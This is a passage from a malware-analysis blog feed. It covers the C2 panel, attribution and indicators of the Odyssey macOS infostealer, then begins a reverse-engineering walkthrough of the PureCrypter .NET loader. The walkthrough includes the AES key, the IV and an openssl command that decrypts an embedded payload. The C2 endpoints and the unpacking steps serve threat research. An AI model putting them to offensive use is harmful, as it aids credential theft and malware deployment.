font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Сиды`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-936">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">seed</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Сид`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-937">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">username</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Пользователь`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-938">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">date</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Дата`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-939">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">walletType</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Тип кошелька`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-940">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">passphrase</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Пароль`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-941">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">ip</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`IP`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-942">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">country</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Страна`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-943">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">action</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Действие`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-944">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">copy</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Копировать`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-945">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">loading</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Загрузка сидов...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-946">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">noSeeds</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Сиды не найдены.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-947">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">copied</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Сид скопирован в буфер обмена!`</span></span>
<span id="cb28-948">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-949">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">revshells</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-950">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">ip</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`IP`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-951">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">cc</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Страна`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-952">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">action</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Действие`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-953">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">connect</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Подключиться`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-954">            <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">delete</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Удалить`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-955">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deletedSuccess</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Reverse shell успешно удалён.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-956">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">unknownFetchError</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Неизвестная ошибка при получении reverse shells.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-957">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">unknownDeleteError</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Неизвестная ошибка при удалении reverse shell.`</span></span>
<span id="cb28-958">        }</span>
<span id="cb28-959">    }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span></code></pre></div></div>
</div>
</div>
</section>
</section>
<section id="c2-operational-infrastructure" class="level3">
<h3 class="anchored" data-anchor-id="c2-operational-infrastructure">C2 Operational Infrastructure</h3>
<p>The feature set is extensive, including SOCKS5 proxies, reverse shell access, Telegram notifications, FTP exfiltration, and anti-duplication logic.</p>
<p>The builder allows customization of payloads with icons, backgrounds, password dialogs, and even custom AppleScript injection. Operators can also configure synthetic error messages to display after the stealer completes, maintaining the illusion of a legitimate application failure.</p>
<p>Quite an operation.</p>
</section>
</section>
<section id="threat-intelligence-and-attribution" class="level2">
<h2 class="anchored" data-anchor-id="threat-intelligence-and-attribution">Threat Intelligence and Attribution</h2>
<p>This campaign represents Odyssey stealer, a known macOS infostealer first documented in 2025 as a rebrand of the earlier Poseidon stealer, or an AMOS fork. The malware has evolved significantly since its initial discovery, with improved obfuscation, expanded credential theft capabilities, and an additional RAT component for post-exploitation.</p>
<p>The English/Russian interface and Cyrillic error messages strongly indicate Russian-speaking threat actors. The professional infrastructure, nice panel UI, and subscription-based model suggest an organized, profit-driven operation running as a MaaS (Malware-as-a-Service) platform.</p>
<p>Some articles related to this malware family:</p>
<table class="caption-top table">
<thead>
<tr class="header">
<th>date</th>
<th>article</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>2025-06-26</td>
<td><a href="https://www.cyfirma.com/research/odyssey-stealer-the-rebrand-of-poseidon-stealer/">cyfirma: ODYSSEY STEALER : THE REBRAND OF POSEIDON STEALER</a></td>
</tr>
<tr class="even">
<td>2025-07-16</td>
<td><a href="https://www.jamf.com/blog/signed-and-stealing-uncovering-new-insights-on-odyssey-infostealer/">jamf: Signed and stealing: uncovering new insights on Odyssey infostealer</a></td>
</tr>
<tr class="odd">
<td>2025-10-09</td>
<td><a href="https://redcanary.com/blog/threat-intelligence/atomic-odyssey-poseidon-stealers/">redcanary: A taxonomy of Mac stealers: Distinguishing Atomic, Odyssey, and Poseidon</a></td>
</tr>
<tr class="even">
<td>2026-03-09</td>
<td><a href="https://wizardcyber.com/odyssey-stealer-macos-malware-analysis/">wizardcyber: Odyssey Stealer: The Evolution Of MacOS Threats Targeting Cryptocurrency &amp; Sensitive Data</a></td>
</tr>
<tr class="odd">
<td>2026-05-28</td>
<td><a href="https://www.malwarebytes.com/blog/threat-intel/2026/05/fake-chatgpt-download-site-infects-windows-and-mac-users-with-malware/">malwarebytes: Fake ChatGPT download site infects Windows and Mac users with malware</a></td>
</tr>
</tbody>
</table>
</section>
<section id="iocs" class="level2">
<h2 class="anchored" data-anchor-id="iocs">IOCs</h2>
<section id="hashes" class="level3">
<h3 class="anchored" data-anchor-id="hashes">Hashes</h3>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb29" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb29-1">bab1b1743bbfc0b36565728d202415574028072054777260060cb524f798ca16</span>
<span id="cb29-2">254e10143ae7153f74fd92bccb536d6174980c9a9edd571df5b569955ee5e129</span>
<span id="cb29-3">234bb752e806b4a5196bd6a6d34b15ebb0fbe273e6ccb6eab5d6c5dcd6309d69</span>
<span id="cb29-4">227e5a628ac131e4825d2a5fa8a7a051742a8c304f5cbdb06a3858b0e88c5054</span>
<span id="cb29-5">33a89db6eea3b3b01e56439de1e40d0ca542bc1938a994485c44d6037e113739</span>
<span id="cb29-6">b5c06c04a75a7fa6fb54a65e55ddbf1c155073ad0d92b2da685470c31e20d298</span>
<span id="cb29-7">0ff3053d9a6f510b788f7c3a84b75a14cc98e56adde725cf7617161d3bcf8723</span></code></pre></div></div>
</section>
<section id="network-indicators" class="level3">
<h3 class="anchored" data-anchor-id="network-indicators">Network Indicators</h3>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb30" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb30-1">https://nqowf[.]com</span>
<span id="cb30-2">http://192.253.248[.]181</span>
<span id="cb30-3"></span>
<span id="cb30-4">POST https://nqowf[.]com/log</span>
<span id="cb30-5">GET http://192.253.248[.]181/api/v1/getscptraw</span>
<span id="cb30-6">GET http://192.253.248[.]181/api/v1/bot/joinsystem/{username}/{version}</span>
<span id="cb30-7">GET http://192.253.248[.]181/api/v1/bot/actions/{botID}</span>
<span id="cb30-8"></span>
<span id="cb30-9">username: prior</span>
<span id="cb30-10">User-Agent: bot</span></code></pre></div></div>
</section>
<section id="file-system-artifacts" class="level3">
<h3 class="anchored" data-anchor-id="file-system-artifacts">File System Artifacts</h3>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb31" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb31-1">/tmp/lksopo</span>
<span id="cb31-2">/tmp/lksopo.zip</span>
<span id="cb31-3">/tmp/socks</span>
<span id="cb31-4">/tmp/unix001</span>
<span id="cb31-5">~/.bhost</span>
<span id="cb31-6">~/.phost</span>
<span id="cb31-7">~/.username</span>
<span id="cb31-8">~/.botid</span>
<span id="cb31-9">~/.lastaction</span>
<span id="cb31-10">~/.uninstalled</span></code></pre></div></div>


</section>
</section>

<a onclick="window.scrollTo(0, 0); return false;" id="quarto-back-to-top"><i class="bi bi-arrow-up"></i> Back to top</a> ]]></description>
  <category>malware</category>
  <category>stealer</category>
  <category>macos</category>
  <category>reversing</category>
  <guid>https://0xlibris.net/posts/odyssey_infostealer/</guid>
  <pubDate>Mon, 22 Jun 2026 00:00:00 GMT</pubDate>
  <media:content url="https://0xlibris.net/posts/odyssey_infostealer/img/lldb1.png" medium="image" type="image/png" height="125" width="144"/>
</item>
<item>
  <title>Dissecting PureCrypter: A Technical Malware Analysis</title>
  <link>https://0xlibris.net/posts/infection_chain_infostealer_2/</link>
  <description><![CDATA[ 






<section id="introduction" class="level2">
<h2 class="anchored" data-anchor-id="introduction">Introduction</h2>
<p>After some time away (lots of distractions) from the initial analysis of the infection chain, explained in the previous <a href="../infection_chain_infostealer">blog post</a>, I decided to continue the investigation.</p>
<p>In that post, I briefly suggested that the malware might be part of the Heracles infostealer family. However, that assumption was superficial and primarily based on VirusTotal labels. Some vendors had also tagged it as “<em>PureLog</em>,” but at the time, I had no idea what that referred to, so I blindly ignored it.</p>
<p>As I dug deeper into the next stage, what I initially thought was the final payload, I discovered that it was actually another step in the infection chain. Eventually, I identified it as a loader called <strong>PureCrypter</strong>.</p>
<p>There are several detailed analyses of this malware. The reports I found most useful are listed below:</p>
<table class="caption-top table">
<thead>
<tr class="header">
<th>date</th>
<th>article</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>2022-06-13</td>
<td><a href="https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter">Technical Analysis of PureCrypter: A Fully-Functional Loader Distributing Remote Access Trojans and Information Stealers</a></td>
</tr>
<tr class="even">
<td>2022-08-29</td>
<td><a href="https://blog.netlab.360.com/purecrypter-is-busy-pumping-out-various-malicious-malware-families/">PureCrypter is busy pumping out various malicious malware families</a></td>
</tr>
<tr class="odd">
<td>2022-12-16</td>
<td><a href="https://asec.ahnlab.com/en/44809/">Types of Recent .NET Packers and Their Distribution Trends in Korea</a></td>
</tr>
<tr class="even">
<td>2022-12-27</td>
<td><a href="https://cyble.com/blog/pure-coder-offers-multiple-malware-for-sale-in-darkweb-forums/">Pure coder offers multiple malware for sale in Darkweb forums</a></td>
</tr>
<tr class="odd">
<td>2024-01-16</td>
<td><a href="https://any.run/cybersecurity-blog/pure-malware-family-analysis/">A Full Analysis of the Pure Malware Family: Unique and Growing Threat</a></td>
</tr>
<tr class="even">
<td>2024-05-13</td>
<td><a href="https://blog.sekoia.io/mallox-ransomware-affiliate-leverages-purecrypter-in-microsoft-sql-exploitation-campaigns/">Mallox affiliate leverages PureCrypter in MS-SQL exploitation campaigns</a></td>
</tr>
<tr class="odd">
<td>2025-01-28</td>
<td><a href="https://blog.talosintelligence.com/new-tornet-backdoor-campaign/">New TorNet backdoor seen in widespread campaign</a></td>
</tr>
<tr class="even">
<td>2025-05-08</td>
<td><a href="https://www.esentire.com/blog/pure-crypter-malware-analysis-99-problems-but-detection-aint-one">Pure Crypter Malware Analysis: 99 Problems but Detection Ain’t One</a></td>
</tr>
</tbody>
</table>
<p>To summarize, <strong>PureCrypter</strong> is a .NET-based malware whose primary function is to download and execute additional payloads. This type of functionality classifies it as a <strong>loader</strong> or <strong>dropper</strong>, a critical component in the modern malware ecosystem.</p>
<p><strong>PureCrypter</strong> is distributed as part of a Malware-as-a-Service (MaaS) offering by a threat actor known as PureCoder. The service includes various malware tools from the “Pure” family, such as PureMiner, PureLogs, and PureClipper, alongside PureCrypter itself. Customers can subscribe to the service with either monthly or lifetime licenses and are given the ability to customize their PureCrypter builds by selecting options for code injection methods, anti-analysis techniques, and persistence strategies.</p>
<p>Interestingly, I discovered the most recent article on this list, from <a href="(https://www.esentire.com/blog/pure-crypter-malware-analysis-99-problems-but-detection-aint-one)">eSentire</a>, while wrapping up this blog post. It turns out I was analyzing more or less the same sample (or malware version) described in their report, which helped validate many of my findings. It also guided me in renaming some variables to better reflect the original ones and improve overall readability.</p>
<p>In this article, I’ll take a deeper look into the loader itself and correct some of the (bad) assumptions I made in the previous post.</p>
</section>
<section id="pure-crypter-outer-layer" class="level2">
<h2 class="anchored" data-anchor-id="pure-crypter-outer-layer">Pure Crypter Outer Layer</h2>
<p>This section focuses on analyzing the file <a href="https://www.virustotal.com/gui/file/1d6c7ba815f7d0404aae5e11958abbe8452bbfd08eb720f80b64196d613c5c45"><code>5.exe</code></a>, which was extracted in the previous post: <a href="../infection_chain_infostealer">Analyzing the Infection Chain of a Stealer Malware</a>.</p>
<section id="initial-analysis" class="level3">
<h3 class="anchored" data-anchor-id="initial-analysis">Initial Analysis</h3>
<p>The first step is to identify the file:</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/5_detect_it_easy.png" title="Detect It Easy 5.exe" class="img-fluid"></p>
<p><em>Detect It Easy</em> reveals it’s a 32-bit .NET binary, heavily obfuscated, and contains packed (encrypted) resources.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/5_entropy.png" title="Detect It Easy entropy 5.exe" class="img-fluid"></p>
<p>The file includes obfuscated class and method names, and two different embedded resources.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/5_dnspy.png" title="dnSpy obfuscated structure" class="img-fluid"></p>
</section>
<section id="automatic-deobfuscation" class="level3">
<h3 class="anchored" data-anchor-id="automatic-deobfuscation">Automatic Deobfuscation</h3>
<p>In order to understand more what it really does, I used <a href="https://github.com/SychicBoy/NETReactorSlayer"><strong>Net Reactor Slayer</strong></a> to help me deobfuscate it.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/5_slayer.png" title="Slayer deobfuscation of 5.exe" class="img-fluid"></p>
<p>The resulting structure is slightly more readable in dnSpy, though still partially obfuscated.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/5_slayed_dnspy.png" title="5_Slayed.exe dnSpy structure" class="img-fluid"></p>
<p>The manifest tries to impersonate <a href="https://www.macrium.com/">Macrium Rescue Media Builder</a>. It is a legitimate utility used to restore disk images, repair Windows boot issues, or recover from ransomware attacks wtf.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/5_slayed_version_manifest.png" title="5_Slayed.exe version manifest" class="img-fluid"></p>
<p>No relevant strings were found in the binary, only some general imports, the module name (<code>Upsiugyll.exe</code>), and some cryptographic class references. This strongly suggests the file decrypts and loads an embedded payload.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb1" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb1-1">Upsiugyll</span>
<span id="cb1-2">Upsiugyll.exe</span>
<span id="cb1-3">Txompdygpzu.Properties.Resources.resources</span>
<span id="cb1-4">System.Security.Cryptography</span>
<span id="cb1-5">CryptoStream</span>
<span id="cb1-6">CryptoStreamMode</span>
<span id="cb1-7">ICryptoTransform</span>
<span id="cb1-8">SymmetricAlgorithm</span>
<span id="cb1-9">FromBase64String</span>
<span id="cb1-10">CreateDelegate</span>
<span id="cb1-11">GenerateKey</span>
<span id="cb1-12">set_Key</span>
<span id="cb1-13">set_IV</span>
<span id="cb1-14">CreateDecryptor</span></code></pre></div></div>
<p>The binary contains two embedded resources:</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/5_resources.png" title="5.exe resources" class="img-fluid"></p>
<ul>
<li>One is very small (359 bytes), with apparently random data.</li>
<li>The other is ~1 MB with high entropy (<code>8.0</code>), most likely encrypted.</li>
</ul>
</section>
<section id="main-method-analysis" class="level3">
<h3 class="anchored" data-anchor-id="main-method-analysis">Main Method Analysis</h3>
<p>The program’s entry point is the Main method, which immediately calls another method.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/5_slayed_main.png" title="5_Slayed.exe entrypoint" class="img-fluid"></p>
<section id="string-deobfuscation" class="level4">
<h4 class="anchored" data-anchor-id="string-deobfuscation">String (de)obfuscation</h4>
<p>The strings of the binary are obfuscated, and use the <code>Class4.smethod_0(279212158)</code> function to decrypt them during runtime.</p>
<p>While Karsten Hahn’s (<a href="https://struppigel.github.io/WisdomForHedgehogs/">MalwareAnalysisForHedgehogs</a>) excellent <a href="https://www.youtube.com/watch?v=Pjy50g6naMU">video</a> explains how to reverse this kind of obfuscation, it didn’t work in my case.</p>
<p>Example output:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb2" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb2-1">decoded 279212158 : X0X</span>
<span id="cb2-2">decoded 279212426 : X0X</span>
<span id="cb2-3">decoded 279212474 : X0X</span>
<span id="cb2-4">decoded 279212449 : X0X</span>
<span id="cb2-5">decoded 279212220 : X0X</span>
<span id="cb2-6">...</span></code></pre></div></div>
</section>
<section id="analyze-decryption-methods" class="level4">
<h4 class="anchored" data-anchor-id="analyze-decryption-methods">Analyze Decryption Methods</h4>
<p>Looking further, it’s quite easy to discover the real functionality.</p>
<p>The key function is <code>GClass1.smethod_0</code>, which takes two parameters: a <code>Type</code> and a <code>string</code>.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/5_slayed_delegate.png" title="5_Slayed.exe delegate" class="img-fluid"></p>
<p>According to <a href="https://learn.microsoft.com/en-us/dotnet/api/system.delegate.createdelegate?view=netframework-4.6.2">.NET documentation</a>, it uses <code>CreateDelegate</code> to invoke a method dynamically:</p>
<ul>
<li><code>typeof(Action)</code> is used to encapsulate a method with no parameters and no return value.</li>
<li><code>type_0</code> is the class instance.</li>
<li><code>string_0</code> is the name of the method to be called.</li>
</ul>
<p>In our case, <code>GClass1.smethod_0(Class4.smethod_0(279212158))</code> will be the new class instance, and <code>Class4.smethod_0(279212426)</code> the method to call.</p>
<p>All signs point to this method being responsible for decrypting the large encrypted resource.</p>
<p>This function also acts as a wrapper around a deeper decryption method:</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/5_slayed_decrypt.png" title="5_Slayed.exe decrypt wrapper function" class="img-fluid"></p>
<p>The decryption logic becomes obvious when looking at the method body:</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/5_slayed_decrypt_method.png" title="5_Slayed.exe decrypt function" class="img-fluid"></p>
<p>It takes three parameters:</p>
<ol type="1">
<li>Encrypted Data</li>
<li>Decryption Key</li>
<li>Initialization Vector (IV)</li>
</ol>
<p>With this knowledge, we just have to place some breakpoints and execute the malware to capture the decrypted payload.</p>
</section>
</section>
<section id="extract-the-encrypted-resource" class="level3">
<h3 class="anchored" data-anchor-id="extract-the-encrypted-resource">Extract the Encrypted Resource</h3>
<section id="dynamic-analysis" class="level4">
<h4 class="anchored" data-anchor-id="dynamic-analysis">Dynamic Analysis</h4>
<p>Using dnSpy, I began dynamic analysis by setting breakpoints inside the decryption routine. I first identified the AES key, which is retrieved from a separate method:</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/5_slayed_debug_aes_key.png" title="5_Slayed.exe debugging to find aes key" class="img-fluid"></p>
<p>Continuing execution through the decryption function, I captured the IV and the decrypted data:</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/5_slayed_debug_aes_data_decrypted.png" title="5_Slayed.exe debugging to decrypt the resource" class="img-fluid"></p>
<p><strong>Key</strong>:</p>
<ul>
<li>5488863CFB8BAFDDD9194AD722F0D263DFF9A80051D7739DE22E24316BF42C46</li>
<li>VIiGPPuLr93ZGUrXIvDSY9/5qABR13Od4i4kMWv0LEY=</li>
</ul>
<p><strong>IV</strong>:</p>
<ul>
<li>9F01D9E9F6881F70A4A59268514BE120</li>
<li>nwHZ6faIH3CkpZJoUUvhIA==</li>
</ul>
<p>The decrypted data (held in the <code>array</code> variable) is another binary, which I saved as <code>6.dll</code>.</p>
<p>At the end of the main method, we can see the malware creating a delegate for a new method call using the decrypted assembly (“MkGDQLeJ4nATPJctZX.NGCpBwA62Zg4TyqkUP”) and entry method (“IBdGkVOwc”).</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/5_slayed_debug_final_delegate.png" title="5_Slayed.exe debugging to decrypt the resource" class="img-fluid"></p>
</section>
<section id="static-analysis-with-openssl" class="level4">
<h4 class="anchored" data-anchor-id="static-analysis-with-openssl"><em>Static</em> Analysis With Openssl</h4>
<p>To verify the dynamic results, I attempted to decrypt the resource statically using OpenSSL. I saved the encrypted resource as <code>Jobotp</code>, and used the known key and IV:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb3" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb3-1">$ openssl enc -d -aes-256-cbc -in Jobotp -out Jobotp_dec -A -K 5488863CFB8BAFDDD9194AD722F0D263DFF9A80051D7739DE22E24316BF42C46 -iv 9F01D9E9F6881F70A4A59268514BE120</span>
<span id="cb3-2">$ sha256sum Jobotp* 6.dll</span>
<span id="cb3-3">b988bafe5ed6c8249f8f930be0b5c825cc76d62b23ec635d6e2ee03170415cb2  Jobotp</span>
<span id="cb3-4">1edfa0f52db64ab0ee4ec893e49967eea811da7aec2c5f865c5653d2b6cfc643  Jobotp_dec</span>
<span id="cb3-5">1edfa0f52db64ab0ee4ec893e49967eea811da7aec2c5f865c5653d2b6cfc643  6.dll</span></code></pre></div></div>
<p>The hashes of the decrypted file (<code>Jobotp_dec</code>) and the dynamically extracted <code>6.dll</code> are the same, great :)</p>
</section>
</section>
</section>
<section id="pure-crypter-inner-layer" class="level2">
<h2 class="anchored" data-anchor-id="pure-crypter-inner-layer">Pure Crypter Inner Layer</h2>
<p>The next stage of the malware, saved as <code>6.dll</code>, is another obfuscated .NET binary.</p>
<section id="initial-analysis-1" class="level3">
<h3 class="anchored" data-anchor-id="initial-analysis-1">Initial Analysis</h3>
<p>Once again, this is a 32-bit .NET executable. Packed, encrypted, and obfuscated.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_detect_it_easy.png" title="Detect It Easy 6.dll" class="img-fluid"></p>
<p>The entropy shows packed content:</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_entropy.png" title="Detect It Easy entropy 6.dll" class="img-fluid"></p>
<p>The binary is deeply obfuscated, and although the entry point (“IBdGkVOwc”) was extracted in the previous stage, it doesn’t seem to do anything meaningful on its own.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_entrypoint_obfuscated.png" title="6.dll entrypoint obfuscated" class="img-fluid"></p>
<p>Embedded resources of <code>6.dll</code>:</p>
<ul>
<li>0x000526B3: <code>a8sd8xXjW1fQDg5lt1.TtAThnlX8QQWlpiIxY</code> (328269 bytes)</li>
<li>0x0004EC48: <code>eL6CJJmBevreXd7yBF.JaNMZ3LqTZJqXYVa7s</code> (14951 bytes)</li>
<li>0x000A2904: <code>NjeipF3nBvRK43tZ0T.kF2eOl1lrd1DxwkVBP</code> (256 bytes)</li>
<li>0x000A2A08: <code>OgrEIKkQH20BVumdDM.6xsIgkhl6Yf897SD0n</code> (337408 bytes)</li>
<li>0x000F500C: <code>tgZ33CHmTLqfrCcG2b.8Z63dnKmBDPRIoEiDg</code> (1116 bytes)</li>
<li>0x0004D894: <code>xVi40WxNWgcbs5XrtX.XflwYC6A8MigIQwC9W</code> (5040 bytes)</li>
</ul>
</section>
<section id="automatic-deofbuscation" class="level3">
<h3 class="anchored" data-anchor-id="automatic-deofbuscation">Automatic Deofbuscation</h3>
<p>I ran .NET Reactor Slayer again to simplify the analysis process.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayer.png" title="Slayer deobfuscation of 6.dll" class="img-fluid"></p>
<p>While the obfuscation is slightly reduced and the code is easier to navigate, it still contains over a hundred classes and even more methods.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayed_dnspy.png" title="6_Slayed.dll dnSpy structure" class="img-fluid"></p>
<p>The resources have been reduced to only three:</p>
<ul>
<li>0x0001BAF0: <code>eL6CJJmBevreXd7yBF.JaNMZ3LqTZJqXYVa7s</code> (14951 bytes)</li>
<li>0x0001F55C: <code>NjeipF3nBvRK43tZ0T.kF2eOl1lrd1DxwkVBP</code> (256 bytes)</li>
<li>0x0001F660: <code>OgrEIKkQH20BVumdDM.6xsIgkhl6Yf897SD0n</code> (337408 bytes)</li>
</ul>
</section>
<section id="string-deofbuscation" class="level3">
<h3 class="anchored" data-anchor-id="string-deofbuscation">String Deofbuscation</h3>
<p>This sample uses a similar string encryption technique as seen in the previous layer. Here, strings are decrypted using <code>Class47.smethod_0()</code>.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayed_string_obfuscation.png" title="6_Slayed.dll string obfuscation on Class47.smethod_0()" class="img-fluid"></p>
<p>I tested this by decrypting a single string, and it worked! Then I used Karsten’s Python script to automatically extract more strings:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb4" style="background: #f1f3f5;"><pre class="sourceCode powershell code-with-copy"><code class="sourceCode powershell"><span id="cb4-1">python<span class="op" style="color: #5E5E5E;
background-color: null;
